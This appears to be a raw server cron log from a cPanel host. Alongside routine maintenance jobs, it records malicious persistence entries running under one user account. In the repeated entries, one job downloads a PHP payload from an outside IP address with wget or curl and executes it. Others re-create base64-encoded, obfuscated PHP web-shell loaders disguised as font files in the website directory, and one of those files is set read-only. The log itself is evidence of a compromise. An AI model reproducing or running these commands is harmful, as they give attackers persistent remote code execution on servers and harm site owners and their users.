Sep 21 09:30:01 ip-184-168-122-23 CROND[2419]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 09:30:01 ip-184-168-122-23 CROND[2422]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 09:30:01 ip-184-168-122-23 CROND[2423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:30:01 ip-184-168-122-23 CROND[2424]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 09:30:01 ip-184-168-122-23 CROND[2426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:30:01 ip-184-168-122-23 CROND[2427]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 09:30:01 ip-184-168-122-23 CROND[2428]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:31:01 ip-184-168-122-23 CROND[2731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:31:01 ip-184-168-122-23 CROND[2734]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 09:31:01 ip-184-168-122-23 CROND[2735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:31:01 ip-184-168-122-23 CROND[2737]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:31:01 ip-184-168-122-23 CROND[2733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:32:01 ip-184-168-122-23 CROND[2954]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:32:01 ip-184-168-122-23 CROND[2955]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 09:32:01 ip-184-168-122-23 CROND[2958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:32:01 ip-184-168-122-23 CROND[2960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:32:01 ip-184-168-122-23 CROND[2962]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:33:02 ip-184-168-122-23 CROND[3225]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:33:02 ip-184-168-122-23 CROND[3226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:33:02 ip-184-168-122-23 CROND[3228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:33:02 ip-184-168-122-23 CROND[3227]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:34:01 ip-184-168-122-23 CROND[3458]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:34:01 ip-184-168-122-23 CROND[3461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:34:01 ip-184-168-122-23 CROND[3460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:34:01 ip-184-168-122-23 CROND[3463]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 09:34:01 ip-184-168-122-23 CROND[3462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:35:02 ip-184-168-122-23 CROND[3600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:35:02 ip-184-168-122-23 CROND[3603]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 09:35:02 ip-184-168-122-23 CROND[3602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:35:02 ip-184-168-122-23 CROND[3605]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 21 09:35:02 ip-184-168-122-23 CROND[3606]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 09:35:02 ip-184-168-122-23 CROND[3607]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 09:35:02 ip-184-168-122-23 CROND[3608]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:35:02 ip-184-168-122-23 CROND[3604]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:36:02 ip-184-168-122-23 CROND[3819]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 09:36:02 ip-184-168-122-23 CROND[3820]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:36:02 ip-184-168-122-23 CROND[3821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:36:02 ip-184-168-122-23 CROND[3825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:36:02 ip-184-168-122-23 CROND[3826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:37:02 ip-184-168-122-23 CROND[3947]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:37:02 ip-184-168-122-23 CROND[3948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:37:02 ip-184-168-122-23 CROND[3950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:37:02 ip-184-168-122-23 CROND[3949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:38:01 ip-184-168-122-23 CROND[4093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:38:01 ip-184-168-122-23 CROND[4094]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 09:38:01 ip-184-168-122-23 CROND[4097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:38:01 ip-184-168-122-23 CROND[4096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:38:01 ip-184-168-122-23 CROND[4098]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:39:02 ip-184-168-122-23 CROND[4267]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 09:39:02 ip-184-168-122-23 CROND[4272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:39:02 ip-184-168-122-23 CROND[4273]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:39:02 ip-184-168-122-23 CROND[4274]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:39:02 ip-184-168-122-23 CROND[4275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:40:01 ip-184-168-122-23 CROND[4410]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 09:40:01 ip-184-168-122-23 CROND[4413]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 09:40:01 ip-184-168-122-23 CROND[4416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:40:01 ip-184-168-122-23 CROND[4415]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 09:40:01 ip-184-168-122-23 CROND[4418]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:40:01 ip-184-168-122-23 CROND[4417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:40:01 ip-184-168-122-23 CROND[4419]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:40:01 ip-184-168-122-23 CROND[4421]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 09:41:01 ip-184-168-122-23 CROND[4577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:41:01 ip-184-168-122-23 CROND[4578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:41:01 ip-184-168-122-23 CROND[4580]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:41:01 ip-184-168-122-23 CROND[4581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:42:01 ip-184-168-122-23 CROND[4786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:42:01 ip-184-168-122-23 CROND[4789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
